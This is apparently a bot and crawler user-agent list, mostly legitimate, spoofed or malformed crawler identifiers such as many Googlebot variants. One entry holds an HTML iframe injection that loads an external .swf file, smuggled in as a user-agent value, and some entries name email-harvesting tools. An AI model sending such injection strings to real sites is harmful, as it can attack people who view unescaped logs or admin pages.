Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localpsychiatrists.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localsportsmedicine.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localtruckingschools.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/massagetherapist-search.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/obgyn-search.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/plasticsurgeonweb.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/quickcityinfo.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/therightfinancialadvisor.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/therightmover.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/therightstorage.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/toptruckingcarriers.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/unicodemap.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/unicodemap.org)

Bot DomainCruiser/93.6 (+NExTliFE Made, Cruiser Smoothed Anti-Virus)

Bot DomainsDB.net MetaCrawler v.0.9.7b (http://domainsdb.net/)

Bot DomainsDB.net MetaCrawler v.0.9.7c (http://domainsdb.net/)

Bot DomainWatcher Bot

Bot Domnutch-Bot/Nutch-1.0 (Domnutch; http://www.Nutch.de/)

Bot doondbot

Bot Doris/1.15 [en] (Symbian)

Bot Doris/1.17 [en] (Symbian)

Bot DorkBoy

Bot DotBot/1.0.1 (http://www.dotnetdotcom.org/#info, crawler@dotnetdotcom.org)

Bot DotBot/1.0.1 (http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org)

Bot DotComHintsBot/1.0 (Domain test crawler; http://www.dotcomhints.com/bot.html)

Bot DoubleVerify Crawler

Bot Download Demon

Bot Download Demon/3.5.0.11

Bot Download Demon/3.5.0.11 FirePHP/0.3

Bot Download Ninja 3.0

Bot Download Ninja 7.0

Bot DownScout/1.0 (downscout.com)

Bot dpdev/Nutch-1.0 (datapatrol from garlik.com; http://www.garlik.com/crawler; crawler at garlik dot com)

Bot dpdev/Nutch-1.0 (datapatrol from garlik.com; http://www.garlik.com/products.php; crawler at garlik dot com)

Bot dpdev/Nutch-1.0-dev (datapatrol from garlik.com; http://www.garlik.com/crawler; crawler at garlik dot com)

Bot dpicella-fertilityweb.net

Bot Dragonfly File Reader

Bot dragonfly(ebingbong#playstarmusic.com)

Bot dragonfly(ebingbong@playstarmusic.com)

Bot Drupal (+http://drupal.org/)

Bot dsfgfdgfd FirePHP/0.3

Bot dtSearch

Bot DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)

Bot DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)

Bot DuckDuckPreview/1.0; (+http://duckduckgo.com/duckduckpreview.html)

Bot Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)

Bot Dumbot(version 0.2 beta - http://www.searchles.com/ Searchles Inc.)

Bot DuxeT :) / Firefox2 / Win XP || Tylko Lechia!!

Bot DuxeT :) / Firefox2 / Win XP || Tylko Lechia!!

Bot e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)

Bot ealbum/Nutch-1.0

Bot EasyDL/3.04 http://keywen.com/Encyclopedia/Bot

Bot EasyDL/3.04 http://keywen.com/Encyclopedia/Bot

Bot eCatch/3.0

Bot ecxi/Nutch-1.0 (esCERT-UPC-ecxi; http://escert.upc.edu/; admin escert edu)

Bot ecxi/Nutch-1.0-dev (esCERT-UPC-ecxi; http://escert.upc.edu/; admin escert edu)

Bot education portal/Nutch-0.9 (Please do not forbid, its for your benefit)

Bot Eisoo Blog Backup

Bot Elric/Emperor_of_Melnibone (Hellsword; StormBringer - Devourer of Souls)

Bot EMail Exractor

Bot Email Spider by AlexW

Bot EmailSearch

Bot EmailSiphon

Bot EmailSpider

Bot EmailWolf 1.00

Bot EmailWolf 1.00,gzip(gfe) (via translate.google.com)

Bot EmeraldShield.com Web Spider (http://www.emeraldshield.com/webbot.aspx)

Bot EMPAS.ROBOT (compatible; MSIE 5.01; Windows NT 5.0)

Bot eMule

Bot EnaBot/1.1 (http://www.enaball.com/crawler.html)

Bot EnaBot/1.2 (http://www.enaball.com/crawler.html)

Bot Encourage/6.16 (Win95)

Bot envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.html)

Bot Envolo

Bot ePochta_Extractor/4.0

Bot Eric Osgood/Nutch-1.0 (Nutch spiderman; http://www.calpoly.edu/~eosgood ; MyEmail)

Bot Eridanus Page Fetcher

Bot EroCrawler

Bot es_com_viewer larbin2.6.3@unspecified.mail

Bot eStyleSearch 4

Bot eSyndiCat Bot

Bot ETS v5.1

Bot EuripBot/0.4 (+http://www.eurip.com) GetFile

Bot EuripBot/0.4 (+http://www.eurip.com) PreCheck

Bot EuripBot/0.5 (+http://www.eurip.com) PreCheck

Bot EuripBot/1.0 (+http://www.eurip.com) GetFile

Bot EuripBot/1.0 (+http://www.eurip.com) PreCheck

Bot EuripBot/1.1 (+http://www.eurip.com) GetFile

Bot EuripBot/1.1 (+http://www.eurip.com) PreCheck

Bot Eurobot/1.0 (http://www.ayell.eu)

Bot Eurobot/Nutch-1.0-dev (1.0)

Bot Evaal/0.7.1 (Evaal; http://search.evaal.com/bot.html; bot@evaal.com)

Bot event_fetcher/1.0

Bot EventMachine HttpClient

Bot Everest-Vulcan Inc./0.1 (R&D project; host=e-1-23; http://everest.vulcan.com/crawlerhelp)

Bot Exabot-Test/1.0

Bot Exabot/2.0

Bot Exabot/3.0

Bot ExactSearch

Bot exactseek.com

Bot Excalibur Internet Spider V6.5.4

Bot exooba crawler/0.5.1 (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)

Bot exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)

Bot exooba/exooba crawler (exooba; exooba)

Bot EXPLORER

Bot Express WebPictures (www.express-soft.com)

Bot Extreme Picture Finder

Bot EyeNetIE

Bot F$Ajax

Bot Facebook API PHP5 Client 1.1 (curl) 5.3.2

Bot facebook FirePHP/0.3

Bot Facebook share follower

Bot facebook/danish.block.filter (sjc0.tdmsic.org - Red Hat)

Bot FacebookConnect

Bot facebookexternalhit

Bot facebookexternalhit/1.0

Bot facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)

Bot facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php) AppEngine-Google; (+http://code.google.com/app...

Bot facebookexternalhit/1.0 (http://www.facebook.com/externalhit_uatext.php)

Bot facebookexternalhit/1.0 (http://www.facebook.com/externalhit_uatext.php),gzip(gfe) (via translate.google.com)

Bot facebookexternalhit/1.0; http://www.facebook.com/externalhit_uatext.php

Bot facebookexternalhit/1.1

Bot facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)

Bot facebookhits

Bot facebookscraper

Bot facebookscraper/1.0

Bot facebookscraper/1.0 (+http://www.facebook.com/sharescraper_help.php)

Bot facebookscraper/1.0(+http://www.facebook.com/sharescraper_help.php)

Bot Facet Engine Spider/Nutch-1.2 (Internet Crawler; spider@facetengine.com)

Bot falcon/13.0

Bot FANGCrawl/0.01

Bot FarKrank 2.1 /127.0.01/l/index/c:\root

Bot FarKrank 2.1 /127.0.1/l

Bot Farkrank 2.1 /All Hail Freedonia.!../

Bot FarKrank/2.1; +127.0.1/l

Bot FarKrank/2.1; 127.0.0.1/i/c:\root

Bot FarKrank/2.1; Freedonia Forever

Bot FAST Enterprise Crawler 6 used by EPFL (raul.rabionet@epfl.ch)

Bot FAST Enterprise Crawler 6 used by LexisNexis (lnbot@lexisnexis.com)

Bot FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)

Bot FAST Enterprise Crawler 6 used by Verizon Superpages Powered By FAST (crawler_admin@superpages.com)

Bot FAST Enterprise Crawler 6 used by ypc (krao@yellowpages.com)

Bot FAST Enterprise Crawler used by ILU ( http://www.ilu.co.jp/ )

Bot FAST Enterprise Crawler/6 (www.fastsearch.com)

Bot FAST Enterprise Crawler/6.4 (crawler@fast.no)

Bot FAST Enterprise Crawler/6.4 (helpdesk at fast.no)

Bot FAST ESP Document Retriever/CVS HEAD 2007-10-18 23:53:34 UTC

Bot FAST ESP Document Retriever/CVS HEAD 2008-01-02 20:19:11 UTC

Bot FAST ESP Document Retriever/CVS HEAD 2009-10-16 13:16:12 UTC

Bot FAST MetaWeb Crawler (helpdesk at fastsearch dot com)

Bot FAST+Enterprise+Crawler/6.7.0+(crawler@fast.no)

Bot FAST-WebCrawler/2.2.5 - Lycos/Alltheweb/Fast

Bot FAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.n...

Bot FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)

Bot FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)

Bot Fauxzilla 1.0

Bot FavIcon Refresher

Bot favicon.bim-zone (+http://favicon.bim-zone.com/)

Bot FavOrg

Bot favorstarbot/1.0 (+http://favorstar.com/bot.html)

Bot FAX search

Bot Faxobot/1.0

Bot FBI CheckCategory/0.91-20080319 libwww-perl/5.76

Bot fdgfgfg Yandex ghdhhgj

Bot FDM 3.x

Bot Feed::Find/0.06

Bot Feedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1)

Bot feedburner

Bot FeedBurner bla

Bot FeedBurner/1.0

Bot FeedBurner/1.0 (http://www.FeedBurner.com)

Bot FeedChecker/0.01

Bot FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)

Bot FeedDemon/3.0 (http://www.newsgator.com/; Microsoft Windows XP)

Bot FeedDemon/3.1 (http://www.feeddemon.com/; Microsoft Windows)

Bot FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=1344902925899002101)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=15536775139976868462)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=16771952015775543556)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=8804269545452303075)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=11236017494282544191)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=11329051416792931808)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=12232177551800999482)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=13745374031421833426)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=15536775139976868462)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=15726244811664415846)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=15834670797632531751)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=16672513828131662184)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=18314742113553748020)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=2377450277274164905)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=2907255144766447660)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=366904258471635459)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=4820124906372295520)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8863418675138580825)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8888325982670681274)

Bot Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=9828048611469326063)

Bot FeedHub FeedDiscovery/1.0 (http://www.feedhub.com)

Bot FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)

Bot Feedjit Crawler 2.1

Bot Feedjit Favicon Crawler 1.0

Bot FeedMyInbox/1.0 (http://www.FeedMyInbox.com)

Bot FeedValidator

Bot FeedValidator/1.3

Bot FeFeScRIPT (DOS 6.22)

Bot fetch libfetch/2.0

Bot fetch/Nutch-1.0 (TCGfetch; http://fetch.thecyberguardian.com; TCGEmail)

Bot FGet 1.0

Bot filter html <iframe src=http://cristgaming.com/pirate.swf width=100 height=75>

Bot Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece)

Bot findfiles.net/0.96 (Robot;test_robot@gmx-topmail.de)

Bot findfiles.net/0.97 (Robot;test_robot@gmx-topmail.de)

Bot findlinks/0.939 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.944 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.945 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.956 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.968 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.973 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.975 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.976 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/0.999 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.0 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.0.8 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.0.8-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.0.9 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.0.9-a2 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.06 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.07 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.08 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1-a3 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1-a7 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1-a8 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1-a9 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.1 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.1-a1 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.1-a2 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.1-a5 ( http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.2-a3 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.2-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta2 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta3 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.3-beta9 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.4-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.5-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/2.0.2 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot findlinks/2.0.4 (+http://wortschatz.uni-leipzig.de/findlinks/)

Bot Firebat 2.7.13

Bot Firebat 2.8.1 (http://lms.virtual-presence.org)

Bot Firebat 2.8.2 (http://lms.virtual-presence.org)

Bot Firebat 2.8.3 (http://lms.virtual-presence.org)

Bot Firebat 2.8.4 (http://lms.virtual-presence.org)

Bot Firebat 2.8.5 (http://lms.virtual-presence.org)

Bot Firebat 2.8.7 (http://lms.virtual-presence.org)

Bot Firebat 2.9.0 (http://lms.virtual-presence.org)

Bot Firebat 2.9.1 (http://lms.virtual-presence.org)

Bot firefox google bot

Bot firefox google bot firefox googlebot

Bot firefox googlebot

Bot Firefox/2.0.0.16 ( Linux i686; bot batech 1.7;)

Bot Firefox/3.6.3 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot FirePanther (www.the-coderz.de)

Bot FirePanther-NoBot/1.0 (info@firepanther.de http://firepanther.de)

Bot FirePHP

Bot FlashGet

Bot flatlandbot/allspark (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot; jason@flatlandindus...

Bot flatlandbot/baypup (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot; jason@flatlandindustr...

Bot flatlandbot/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; jason@flatla...

Bot flatlandbot/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot; jason@flatlandin...

Bot FlaxCrawler/1.0

Bot Flight Deck Bot (experimental)

Bot Flight Deck Bot 1.3 beta (http://www.flightdeckreports.com/bot)

Bot FlightDeckReports Bot 1.5 beta (http://www.flightdeckreports.com/bot)

Bot FlightDeckReports Bot 1.9 beta (http://www.flightdeckreports.com/bot)

Bot flyindex.net 1.0/http://www.flyindex.net

Bot focused_crawler (infpc71; Linux i686; http://ivia.ucr.edu/user_agents.html)

Bot FollowSite Bot ( http://www.followsite.com/bot.html )

Bot FollowSite.com ( http://www.followsite.com/b.html )

Bot foo/1.0

Bot foo_1.0.0.9

Bot foo1.2.2.3

Bot foobar/Nutch-1.0-dev (foobar; foobar.com; foo@bar.com)

Bot foobar2000/0.9.5.1

Bot Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots

Bot ForAll.pl-Crawler/1.0

Bot Forschungsportal/0.8-dev (Testinstallation; http://www.forschungsportal.net/; fpcrawler@rrzn.uni-hannover.de)

Bot FPMurphy/4.96 Dtorm/

Bot fr_com_viewer larbin2.6.3@unspecified.mail

Bot FreeSurfer software from SunnyScript - www.sunnyscript.com

Bot FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)

Bot Frelicbot/1.0 +http://www.frelic.com/

Bot friendbinder (Curl / PHP 5.2.11)

Bot FSPBot/2.31

Bot FunWebProducts

Bot fusion-ware.com

Bot Fusion-ware.com bot

Bot FX-Networks-GuardSystem

Bot FyberSpider (+http://www.fybersearch.com/fyberspider.php)

Bot FyberSpider/1.2 (http://www.fybersearch.com/fyberspider.php)

Bot FyberSpider/1.3 (http://www.fybersearch.com/fyberspider.php)

Bot g3.pl/0.1 libwww-perl/5.65

Bot g3.pl/0.1 libwww-perl/5.803

Bot Gaisbot/3.0 (jerry_wu@openfind.com.tw; http://gais.cs.ccu.edu.tw/robot.php)

Bot Gaisbot/3.0+(robot-response@widelab.org;+http://www.widelab.org/robot.html)

Bot Gaisbot/3.0+(robot@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)

Bot Gaisbot/3.0+(robot05@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)

Bot Gaisbot/3.0+(robot06@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)

Bot GameBox

Bot Gandalf/Grey (Shadowfax; Wind) White_Staff

Bot gbot

Bot gemiusbot

Bot general.useragent.override Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Bot Generic Mobile Phone (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

Bot genieBot (http://64.5.245.11/faq/faq.html)

Bot genieBot enash@genieknows.com

Bot genieBot stephanie@genieknows.com

Bot geniebot wgao@genieknows.com

Bot GentilBot/Nutch-1.0

Bot GentleCrawler

Bot GeoBot/version 1.0

Bot GeoHasher/Nutch-1.0 (GeoHasher Web Search Engine; geohasher.gotdns.org; geo_hasher at yahoo * com)

Bot GeonaBot/1.2; http://www.geona.com/

Bot georg [Bot]

Bot Georgila/4.0

Bot geosign-crawler (Enterprise; M2-KJL7RPEBUC2JB; pfilsinger@geosign.com)

Bot GET /1.0

Bot GetGo Download Manager 4.0 (www.getgosoft.com)Pragma: no-cache

Bot GetHTMLContents3

Bot GetWebFile/1.0

Bot GetWebsiteValue (http://www.getwebsitevalue.com/)

Bot GFW-URL-checker (http://yeri.be/hr); country: cn

Bot gh-index-bot/Nutch-1.0 (GH Web Search.; lucene.apache.org; gh_email at someplace dot com)

Bot Giant/1.0 (Openmaru bot; robot@openmaru.com)

Bot Gigabot/1.0

Bot Gigabot/2.0

Bot Gigabot/2.0 (http://www.gigablast.com/spider.html)

Bot Gigabot/2.0/gigablast.com/spider.html

Bot Gigabot/2.0; http://www.gigablast.com/spider.html

Bot Gigabot/2.0att

Bot Gigabot/3

Bot Gigabot/3.0 (http://www.gigablast.com/spider.html)

Bot GIGABYTE-g-Smart Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; GIGABYTE-g-Smart)

Bot Gimmie60/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11)

Bot GingerCrawler/1.0 (Language Assistant for Dyslexics; www.gingersoftware.com/crawler_agent.htm; support at ginger softwar...

Bot Ginxbot/0.1 (robot@ginx.com)

Bot gnome-vfs/2.16.2 neon/0.25.4

Bot gnu-classpath/0.92 (libgcj/4.1.2 (Ubuntu 4.1.2-0ubuntu5))

Bot GOD WebWasher 3.4

Bot GOFORITBOT ( http://www.goforit.com/about/ )

Bot goget/ /image/

Bot Gogglebot 2.1

Bot Gogglebot/2.1 (+2.1http://www.googlebot.com/bot.html)

Bot Gogglebot/2.1 (+http://www.googlebot.com/bot.html)

Bot Goglebot/2.1 (+http://www.goglebot.com/bot.html)

Bot Goglebot/2.1; +http://www.gogle.com/bot.html

Bot gold crawler

Bot Goldfire Server

Bot gonzo/1[P] (+http://www.suchen.de/faq.html)

Bot gonzo1 mailto:crawleradmin.t-info@telekom.de

Bot gonzo1[D] +http://www.suchen.de/faq.html

Bot gonzo1[D] mailto:crawleradmin.t-info@telekom.de

Bot gonzo1[P] +http://www.suchen.de/faq.html

Bot gonzo2[D] +http://www.suchen.de/faq.html

Bot Google - Googlebot/2.1 ( http://www.googlebot.com/bot.html)

Bot google bot

Bot google bot 2

Bot Google Bot 2 Beta

Bot Google bot 2.1

Bot google-bot

Bot Google-Site-Verification/1.0

Bot Google-Sitemaps/1.0

Bot Google/2.1+ (+http://www.googlebot.com/bot.html)

Bot google_two_web larbin2.6.3@unspecified.mail

Bot GoogleBot

Bot GoogleBot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot googlebot 1.0

Bot Googlebot 2,1

Bot Googlebot 2.1

Bot Googlebot 2.1 (+http://www.google.com/bot.html)

Bot Googlebot 2.1 (New version)

Bot Googlebot 2.1 (New version)" useragent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com...

Bot Googlebot 2.1 ColdFire/1.1.51.59

Bot Googlebot 2.1 FirePHP/0.2.1

Bot Googlebot 2.2

Bot googlebot FirePHP/0.3

Bot Googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11

Bot googlebot, gzip GFE ()

Bot Googlebot, Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Googlebot-2.1

Bot Googlebot-Image 1.0 Googlebot-Image/1.0

Bot googlebot-image

Bot Googlebot-Image/1.0

Bot Googlebot-Image/1.0 ( http://www.googlebot.com/bot.html)

Bot Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html

Bot Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html)

Bot Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html; ; )

Bot Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows 98)

Bot Googlebot-Image/1.0 (http://www.googlebot.com/bot.html)

Bot Googlebot-Images

Bot Googlebot-Mobile

Bot Googlebot-Mobile/2.1

Bot Googlebot-PM

Bot googlebot.com

Bot googlebot/1.0

Bot Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/

Bot Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/ googlebot.com/)

Bot Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/)

Bot Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/) FirePHP/0.2.4

Bot Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/) FirePHP/0.3

Bot Googlebot/1.1+(+http://www.googlebot.com/bot.html)

Bot googlebot/2

Bot Googlebot/2!(+http://www.googlebot.com/bot.html)

Bot Googlebot/2.0 (http://www.googlebot.com/bot.html)

Bot Googlebot/2.1

Bot Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Googlebot/2.1 ( + http:/ / www.googlebot.com/bot.html)

Bot Googlebot/2.1 ( http://127.0.0.1)

Bot Googlebot/2.1 ( http://www.google.com/bot.html)

Bot Googlebot/2.1 ( http://www.google.com/bot.html) 999

Bot Googlebot/2.1 ( http://www.googlebot.com/bot.html)

Bot Googlebot/2.1 ( http://www.googlebot.com/bot.html) FirePHP/0.2.4

Bot Googlebot/2.1 ( http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht...

Bot Googlebot/2.1 ( http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.htm...

Bot Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.co...

Bot Googlebot/2.1 ( http://www.googlebot.com/bot.html);afcid=Wf36ac4fee54afd78d944843274ab1511

Bot Googlebot/2.1 (+ http://www.google.com/bot.html)

Bot googlebot/2.1 (+ http://www.googlebot.com/bot. htm

Bot Googlebot/2.1 (+ http://www.googlebot.com/bot.html)

Bot Googlebot/2.1 (+ http://www.olivia del rio.com/bot.html)

Bot Googlebot/2.1 (+http: //www.googlebot.com/bot.html)

Bot Googlebot/2.1 (+http://127.0.0.1)

Bot Googlebot/2.1 (+http://google.com/bot.html

Bot Googlebot/2.1 (+http://google.com/bot.html)

Bot Googlebot/2.1 (+http://googlebot.com/bot.html)

Bot Googlebot/2.1 (+http://www.google. com/bot.html)

Bot Googlebot/2.1 (+http://www.google.com./bot.html)

Bot Googlebot/2.1 (+http://www.google.com/bot.html

Bot Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Googlebot/2.1 (+http://www.google.com/bot.html) (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4...

Bot Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Googlebot/2.1 (+http://www.google.com/bot.html).

Bot Googlebot/2.1 (+http://www.google.com/bot.html,gzip(gfe) (via translate.google.com)

Bot Googlebot/2.1 (+http://www.google.com/bot.html; Googlebot/2.13; Googlebot/2.12; SaveWealth; .NET CLR 1.1.4322; .NET CLR ...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot .html)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.htm

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.htm)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html

Bot googlebot/2.1 (+http://www.googlebot.com/bot.html FirePHP/0.2.1

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html) AutoPager/0.5.2.2 (http://www.teesoft.info/)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html) FirePHP/0.2.1

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html) FirePHP/0.2.4

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html) FirePHP/0.3

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html) PornoBot (Enterprise E Science Console 2 ; N; Classified OS/4211 LX 6...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html),gzip(gfe) (via translate.google.com)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html)Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727;...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; Antenna Preview Window)

